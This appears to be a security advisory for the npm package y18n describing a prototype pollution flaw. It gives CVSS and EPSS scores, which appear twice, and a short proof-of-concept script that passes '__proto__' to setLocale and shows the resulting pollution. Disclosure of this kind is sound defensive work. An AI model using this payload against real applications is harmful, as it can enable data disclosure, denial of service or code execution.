9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.377 Low
EPSS
Percentile
96.8%
y18n
is vulnerable to Prototype Pollution
.
This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.
// poc.js
const y18n = require('y18n')();
var obj = {}
console.log("Before : " + obj.polluted);
y18n.setLocale('__proto__');
y18n.updateLocale({polluted: 'Yes! Its Polluted'});
console.log("After : " + {}.polluted);
npm i y18n # Install affected module
node poc.js # Run the PoC
Before : undefined
After : Yes! Its Polluted
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.377 Low
EPSS
Percentile
96.8%